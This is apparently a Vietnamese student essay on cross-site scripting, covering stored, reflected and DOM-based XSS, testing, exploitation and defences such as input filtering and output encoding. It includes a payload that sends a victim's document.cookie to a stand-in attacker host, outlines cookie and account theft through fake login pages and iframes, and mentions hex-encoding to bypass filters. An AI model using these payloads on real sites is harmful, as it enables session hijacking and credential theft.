Tiểu luận Kỹ thuật tấn công XSS cách thức tấn công và giải pháp phòng thủ, kỹ thuật tấn công xss cơ bản và nâng cao.XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm được những công việc sau: 1. Thay đổi cấu trúc của toàn bộ trang web 2. Tạo tùy ý các phần tử HTML 3. Định tuyến lại các hình thức liên kết 4. Phục hồi dữ liệu, xác thực
MỤC LỤC I Một số điều cần biết .2 II Giới thiệu XSS Tìm hiểu XSS Các hình thức tồn XSS Stored XSS Reflected XSS .5 DOM Based XSS Một số ví dụ cơng XSS 11 Mức độ nguy hiểm XSS 11 Mục đích công XSS 12 III Hoạt động công XSS 13 IV Kiểm tra lỗi XSS 15 V Khai thác lỗi XSS 17 Các bước thực .18 Các cách thực khai thác lỗi XSS 18 1) Lấy cookie 18 2) Lấy account .19 Kẻ công dùng XSS để lừa đảo 20 Cách vượt chế lọc 21 VI Phòng chống XSS 22 Với liệu người thiết kế phát triển ứng dụng Web .22 Với người dùng 23 VII Đánh giá 26 Hiểm họa mã độc-Tấn cơng XSS TẤN CƠNG XSS I Một số điều cần biết Website ngày thường website động(website động website có hệ thống quản lý nội dung người dùng chỉnh sửa nội dung được).Và hầu hết website dùng cookie để xác thực người dùng HTML (HyperText Markup Language) có nghĩa ngơn ngữ đánh dấu siêu văn bản.Nó dùng để định dạng bố cục, thuộc tính liên quan đến cách hiển thị đoạn text hiển thị chương trình đặc biệc ta gọi Browser Javascript ngôn ngữ lập trình kịch dựa vào đối tượng phát triển có sẵn tự định nghĩa ra, javascript sử dụng rộng rãi ứng dụng Website Javascript hỗ trợ tất trình duyệt Firefox, Chrome, chí trình duyệt thiết bị di động có hỗ trợ Cookie đoạn văn ghi thông tin tạo lưu trình duyệt máy người dùng Cookie thường tạo người dùng truy cập website, cookie ghi nhớ thông tin tên đăng nhâp, mật khẩu, lựa chọn người dùng lựa chọn kèm Các thông tin lưu máy tính thường dùng để nhận người dùng ghé thăm trang web XSS thực thẻ JavaScript, thẻ JavaScript chúng làm công việc sau: Thay đổi cấu trúc toàn trang web Tạo tùy ý phần tử HTML Định tuyến lại hình thức liên kết Phục hồi liệu, xác thực Hiểm họa mã độc-Tấn công XSS Gửi nhận liệu Đọc tổ hợp phím II Giới thiệu XSS Tìm hiểu XSS Cross-Site Scripting hay gọi tắt XSS.Nó kỹ thuật công cách chèn vào web động thẻ HTML hay mã script có khả đánh cắp hay thiết lập thông tin quan trọng (cookies, mật khẩu, usename…).Trong đoạn mã chèn chủ yếu viết Client-Site Script JavaScript, JScript, DHTML, HTML Tấn công XSS không nhằm vào server,chủ yếu công vào client (user) (kiến thức kém, tò mò, an ninh lỏng lẻo) cách dụ nạn nhân click vào url kích hoạt mã độc thực thi trình duyệt nạn nhân Các hình thức tồn XSS Stored XSS Tấn công kiểu stored XSS cho phép kẻ công chèn đoạn script (Javascript) vào website thông qua chức (vd: cmt, guestbook, gởi ), thành viên khác truy cập website bị dính mã độc từ kẻ cơng mã độc thường lưu lại database website nên gọi Stored Stored XSS phát sinh không lọc liệu thành viên gởi lên cách đắn,từ gây hậu nặng nề Ví Dụ: Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực tối thiểu qua bước Đầu tiên hacker thông qua điểm đầu vào (form, input, textarea…) không kiểm tra kỹ để chèn vào CSDL đoạn mã nguy hiểm Hiểm họa mã độc-Tấn công XSS Tiếp theo, người dùng truy cập vào ứng dụng web thực thao tác liên quan đến liệu lưu này, đoạn mã hacker thực thi trình duyệt người dùng Đến hacker coi đạt mục đích Hiểm họa mã độc-Tấn cơng XSS Hình 1.1: Kịch khai thác Stored XSS Kịch bản: Đầu tiên,hacker phát Web bị lỗi XSS nộp nội dung kèm mã độc(javascript).Khi người dùng đăng nhập vào Web truy cập vào nội dung chứa mã độc kẻ công.Máy chủ phản hồi kèm theo mã độc hacker.Và mã độc hacker thực thi trình duyệt Web người dùng session người dùng gửi đến hacker.Cuối hacker chiềm Session người dùng sử dụng với nhiều mục đích khác tùy vào ý đồ hacker Reflected XSS Reflected XSS xuất liệu cung cấp từ web client đó.Đầu tiên phải tìm lỗ hổng bảo mật website cách gắn mã test vào web client để web client gửi đến server chờ phản hồi web server để tìm lỗ hổng bảo mật Reflected XSS xảy không ý filter input (lọc sữ liệu đầu vào) từ URL website Có đến 75% kỹ thuật XSS dựa Reflected XSS.Gọi reflected(phản xạ) kịch khai thác loại này, hacker phải gửi cho nạn nhân URL có chứa Hiểm họa mã độc-Tấn công XSS đoạn mã nguy hiểm(thường javascript) Nạn nhân cần request đến URL hacker nhận respond chứa kết mong muốn(tính phản xạ thể đây) Ngồi biết đến với tên gọi first-order XSS Hình 2.1:Kịch khai thác Reflected XSS Kịch bản: Đầu tiên người dùng đăng nhập vào web,giả sử session: Set_Cookie:sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 Tại web cách đó,hacker gửi cho người dùng URL: Valnerable.site:Giả sử web mà người dùng truy cập Hacker-site.net:Giả sử web mà hacker tạo http://vulnerable.site/name=var+i=new+Image;+i.src=”http://hackersite.net/”%2bdocument.cookie; Nạn nhân truy cập đến URL Server phản hồi cho nạn nhân, kèm với liệu có request(đoạn javascript hacker) Trình duyệt nạn nhân nhận phản hồi thực thi đoạn javascript Đoạn javascript mà hacker tạo thực tế sau: Hiểm họa mã độc-Tấn công XSS var i=new Image; i.src=”http://hacker-site.net/”+document.cookie; Dòng lệnh chất thực request đến site hacker với tham số cookie người dùng: GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1 Host: hacker-site.net Từ phía site mình, hacker bắt nội dung request coi session người dùng bị chiếm Đến lúc này, hacker giả mạo với tư cách nạn nhân thực quyền website mà nạn nhân có Nhận xét: Reflected XSS Stored XSS có khác biệt lớn q trình công Thứ nhất, để khai thác Reflected XSS, hacker phải lừa nạn nhân truy cập vào URL Còn Stored XSS khơng cần phải thực việc này, sau chèn mã nguy hiểm vào CSDL ứng dụng, hacker việc ngồi chờ nạn nhân tự động truy cập vào Với nạn nhân, việc hồn tồn bình thường họ khơng hay biết liệu truy cập bị nhiễm độc Thứ 2, mục tiêu hacker dễ dàng đạt thời điểm công nạn nhân phiên làm việc(session) ứng dụng web Với Reflected XSS, hacker thuyết phục hay lừa nạn nhân đăng nhập truy cập đến URL mà ta cung cấp để thực thi mã độc Nhưng Stored XSS khác, mã độc lưu CSDL Web nên người dùng truy cập chức liên quan mã độc thực thi, nhiều khả chức yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên thời gian người dùng phiên làm việc DOM Based XSS DOM viết tắt Document Object Model dạng chuẩn W3C đưa nhằm để truy xuất thao tác liệu tài liệu có cấu trúc HTML, XML Mơ hình thể tài liệu dạng cấu trúc phân cấp Tất thành phần HTML, XML xem node.Và dạng công XSS làm thay đổi cấu trúc trang web cách thay đổi cấu trúc HTML Hiểm họa mã độc-Tấn công XSS Hacker chèn đoạn script nhằm làm thay đổi giao diện mặc định trang web thành giao diện giả.khi người dùng vào web giả hacker thu mật người dùng Ví dụ: Một website có URL đến trang đăng ký sau: http://example.com/register.php?message=Please fill in the form Khi truy cập đến thấy Form bình thường Nguồn code form Đoạn JavaScript có nhiệm vụ lấy giá trị từ tham số message in Từ việc kiểm tra đầu vào lỏng lẻo này, hồn tồn lừa người dùng truy cập URL nguy hiểm Thay truyền message=Please fill in the form Thì truyền Hiểm họa mã độc-Tấn cơng XSS message=GenderMaleFemalefunction show() {alert();} Khi Form đăng ký trở thành Người dùng chẳng chút nghi ngờ với form “bình thường” này, lựa chọn giới tính, Script thực thi Hiểm họa mã độc-Tấn cơng XSS Từ ví dụ cho ta thấy Thứ 1, mã độc thực thi click vào giá trị thẻ select, tức thực thi phía client mà khơng cần thông qua respond server Thứ 2, cấu trúc HTML bị thay đổi với script truyền vào Và thấy kịch khai thác thực tế, DOM Based có phần giống với Reflected Stored XSS phải lừa người dùng truy cập vào URL nhúng mã độc Hình 3.1:Kịch khai thác DOM Based XSS Kịch bản: Hiểm họa mã độc-Tấn công XSS form đăng nhập giả nhằm lừa người dùng đăng nhập vào để đánh cắp mật Ví dụ cụ thể: Truy cập thông tin nhạy cảm bị hạn chế Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….) Theo dõi thói quen lướt web người dùng Thay đổi trình duyệt Bôi nhọ danh tiếng cá nhân hay công ty Hủy hoại ứng dụng Web Tấn công từ chối dịch vụ III Hoạt động công XSS XSS cho phép chèn đoạn mã vào link đường dẫn, để thực thi trình duyệt người dùng Thường XSS có dạng sau: http://www.web.vn//index.php?pg=news&cat=alert(“Lỗi XSS”) Hiểm họa mã độc-Tấn công XSS 12 Và nội dung xuất trình duyệt popup có thơng tin là: “Lỗi XSS” Về XSS giống SQL Injection hay Source Injection,nó yêu cầu (request) gửi từ máy client tới server nhằm chèn vào thơng tin vượt tầm kiểm soát server Các đoạn mã thẻ script không bị giới hạn chúng hồn tồn thay file nguồn server khác thơng qua thuộc tính src thẻ script XSS Client-Side Script, đoạn mã chạy trình duyệt phía client XSS khơng làm ảnh hưởng đến hệ thống website nằm server Trong kĩ thuật XSS thường link mà hacker dùng mã hóa nên người dùng khó mà phát Sau cách mã hố(HEX) kí tự thường dùng lỗi XSS AddressBar Browser Hiểm họa mã độc-Tấn công XSS 13 IV Kiểm tra lỗi XSS Nếu dùng web với source có sẵn, tham khảo danh sách lỗ hổng trang web chứa thông tin bảo mật securityfocus.com, securiteam.com Nếu dùng web tự phát triển cỏ thể dùng tool scanner Dùng tool: Paros Proxy, WebInspect, Acunetix Web Vulnerability Scanner Watchfire AppScan… Thử code Hiểm họa mã độc-Tấn cơng XSS 14 Ví dụ: Đầu tiên mở trang web muốn kiểm tra Bắt đầu kiểm tra , định vị tìm kiếm login form gửi thông tin (nhập thông tin nhấn submit hay login hay ok ) , ví dụ nhập chữ "Mask_NBTA" chẳng hạn hay chữ Tiếp chèn câu lệnh vào:alert(“Loi XSS”) đây,trong dấu ngoặc ( ) điển chữ tùy thích Và kết là:Nó đưa thơng báo “loi XSS” Thì website bị lỗi XSS Ta nhập vào form lỗi thẻ sau: alert('CSS Vulnerable') Hiểm họa mã độc-Tấn công XSS 15 &{alert('CSS Vulnerable') }; window.open( “http://www.google.com/” ) V Khai thác lỗi XSS Ứng dụng Web thường lưu trữ thông tin quan trọng cookie Cookie mẩu thông tin mà ứng dụng lưu đĩa cứng người sử dụng Nhưng ứng dụng thiết lập cookie đọc Do người dùng phiên làm việc ứng dụng hacker có hội đánh cắp cookie Công việc hacker tìm trang đích để dụ người dùng đăng nhập sau tìm lỗ hổng ứng dụng Dưới mơ hình khai thác XSS truyền thống: Các bước thực Hiểm họa mã độc-Tấn công XSS 16 1) Hacker biết người dùng sử dụng ứng dụng Web có lỗ hổng XSS 2) Người dùng nhận liên kết thông qua email hay trang Web (như guestbook, banner dễ dàng thêm liên kết hacker tạo ra…).Thông thường hacker khiến người dùng ý câu kích thích tò mò người dùng “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn chờ bạn”… 3) Chuyển nội dung thông tin (cookie, tên, mật khẩu…) máy chủ hacker 4) Hacker tạo chương trình cgi trang Web để ghi nhận thông tin đánh cắp vào tập tin 5) Sau nhận thông tin cần thiết, hacker sử dụng để thâm nhập vào tài khoản người dùng 1) Các cách thực khai thác lỗi XSS Lấy cookie Đầu tiên tạo file log.txt upload lên host mình.file trống tạo file cookie.asp cookie.php có nội dung sau upload file lên host sau: Hiểm họa mã độc-Tấn cơng XSS 17 Sau Trên phần trả lời hay góp ý diễn đàn email website (bị lỗi XSS) để link có lời giới thiệu hay thơng báo lời chào gây ý có hostname trang web bị nhiễm XSS: http://hostxss.com/search.cgi? query=alert(document.cookie) Hoặc mã hóa http:// hostxss.com /search.cgi?%71%75 72%69%70%74%3E nạn nhân kích vào đường link kẻ cơng có cookie người dùng lưu file log.txt 2) Lấy account Đầu tiên tạo file log.txt upload lên host mình.file trống tạo thêm file xss.js upload file lên host File để tạo facesite (trang web giả giống trang web thật) để người dùng nhập username password điều hướng lưu thơng tin file log.txt Sau Chúng ta để link có lời giới thiệu hay thơng báo gây ý (có hostname trang web bị nhiễm XSS) Khi tạo link dạng sau gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script vào) Hiểm họa mã độc-Tấn công XSS 18 http:// hostxss.com /search.php?s="> Khi bên phía người dùng có trang web giả mạo(face site): Người dùng không phát đăng nhập cookie hay usename password lưu lại file info.txt server hacker kẻ cơng có tài khoản nạn nhân Kẻ công dùng XSS để lừa đảo Ngoài việc lấy cookies, kẻ cơng hướng trình duyệt người dùng đến trang web mà Attacker thiết kế sẵn Sau kẻ cơng có thơng tin lỗi XSS, họ dùng IFRAME, code sau: Khi nạn nhân vào trang giả mạo kẻ đăng nhập tài khoản ,kẻ công lấy tài khoản nạn nhân Kẻ cơng lợi dụng lỗi để fishing Hệ thống tốn, game,shopping, Ngân hàng, Tín dụng chèn virus… Cách vượt chế lọc Nhiều coder khôn khéo lọc hết kỹ tự đặc biệt ' hay + để tránh việc chèn lệnh URL để công SQL hay XSS kẻ công cao tay dễ dàng giải việc cách sử dụng mã hóa HEX thay để khai thác Sau cách mã hố(HEX) kí tự thường dùng lỗi XSS AddressBar Browser Hiểm họa mã độc-Tấn công XSS 19 VI Phòng chống XSS Như ta biết công XSS thực gửi trang web cho trình duyệt web nạn nhân có kèm theo mã script độc kẻ cơng Và mức độ nguy hiểm công XSS nguy hiểm khó lường hết nguy hiểm khơng q khó khăn để ngăn ngừa XSS.Có nhiều cách để khắc phục lỗi XSS như: Hiểm họa mã độc-Tấn công XSS 20 Với liệu người thiết kế phát triển ứng dụng Web Những liệu, thông tin nhập người dùng, người thiết kế phát triển ứng dụng Web cần phải thực vài bước sau: - Chỉ chấp nhận liệu hợp lệ - Từ chối nhận liệu hỏng - Liên tục kiểm tra lọc liệu - Tạo danh sách thẻ HTML phép sử dụng, xóa bỏ thẻ đóng thẻ Script thẻ coi đoạn Script đoạn trích dẫn thơi - Lọc đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related - Lọc dấu nháy đơn hay kép - Lọc kí tự Null - Xóa kí tự “ > ”, “ < ” - Vẫn cho phép nhập kí tự đặc biệt mã hóa theo chuẩn riêng - Mã hóa Lỗi XSS tránh máy chủ Web đảm bảo trang phát sinh mã hóa (encoding) thích hợp để ngăn chạy chạy script khơng mong muốn Mã hóa phía máy chủ tiến trình mà tất nội dung phát sinh động qua hàm mã hóa nơi mà thẻ script thay thể mã nó.Nói chung, việc mã hóa(encoding) khuyến khích sử dụng khơng u cầu bạn phải đưa định kí tự hợp lệ khơng hợp lệ.Tuy nhiên việc mã hóa tất liệu khơng đáng tin cậy tốn tài ngun ảnh hưởng đến khả thực thi số máy chủ - Ngồi dùng AppShield để tìm lỗ hổng XSS, AppShield kiểm tra tất yêu cầu mới, AppShield kiểm tra tham biến yêu cầu Hiểm họa mã độc-Tấn công XSS 21 trước gởi đến máy chủ, Khi nhận mẫu hình bất hợp pháp này, AppShield ngăn chặn yêu cầu Với người dùng Cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch máy họ hay không? Tùy vào mức độ tin cậy mà người dùng định Dùng Firefox: Có thể cài thêm tiện ích(Add-on Firefox) YesScript kiểm sốt script từ web Dùng IE ta vào Options/Setting / Disable Script Tương tự với Google Chrome trình duyệt khác Ngoài cỏ thể dùng tool để quét lỗi XSS như:Paros Proxy,webScarab,webInspect,Acunetix Web Vulnerability Scanner… Khi vào trang web ta cần phải cân nhắc click vào link, với email cần phải kiểm tra link hay hình ảnh quảng cáo thật kĩ Và tóm lại an tồn có cảnh giác cao Sau ví dụ việc Disable Script IE 1.Bật hộp thoại Internet Options 2.Từ Tools chọn Internet Options Hiểm họa mã độc-Tấn công XSS 22 3.Mở hộp thoại Security Settings Hiểm họa mã độc-Tấn công XSS 23 4.Disable Script: Từ hộp thoại Security Setting chọn Scripting of Java applets bạn chọn Disable Enable để tắt/ bật Javascript Cuối cùng, click Ok để hoàn tất Hiểm họa mã độc-Tấn công XSS 24 Thế disable Script thành công! VII Đánh giá Hiểm họa mã độc-Tấn công XSS 25 Kĩ thuật XSS phổ biến dễ dàng áp dụng, mức độ thiệt hại chúng gây hậu nghiêm trọng Vì thế, ngồi việc ứng dụng kiểm tra tính đắn liệu trước sử dụng việc cần người dùng nên cảnh giác trước bước vào trang Web hay nhận email thu hút Có thể nói, nhờ vào cảnh giác người dùng 90% đạt bảo mật kĩ thuật Hiểm họa mã độc-Tấn công XSS 26 ... hồi liệu, xác thực Hiểm họa mã độc -Tấn công XSS Gửi nhận liệu Đọc tổ hợp phím II Giới thiệu XSS Tìm hiểu XSS Cross-Site Scripting hay gọi tắt XSS. Nó kỹ thuật công cách chèn vào web động thẻ HTML... Cuối cùng, click Ok để hoàn tất Hiểm họa mã độc -Tấn công XSS 24 Thế disable Script thành công! VII Đánh giá Hiểm họa mã độc -Tấn công XSS 25 Kĩ thuật XSS phổ biến dễ dàng áp dụng, mức độ thiệt hại... URL để công SQL hay XSS kẻ công cao tay dễ dàng giải việc cách sử dụng mã hóa HEX thay để khai thác Sau cách mã hố(HEX) kí tự thường dùng lỗi XSS AddressBar Browser Hiểm họa mã độc -Tấn công XSS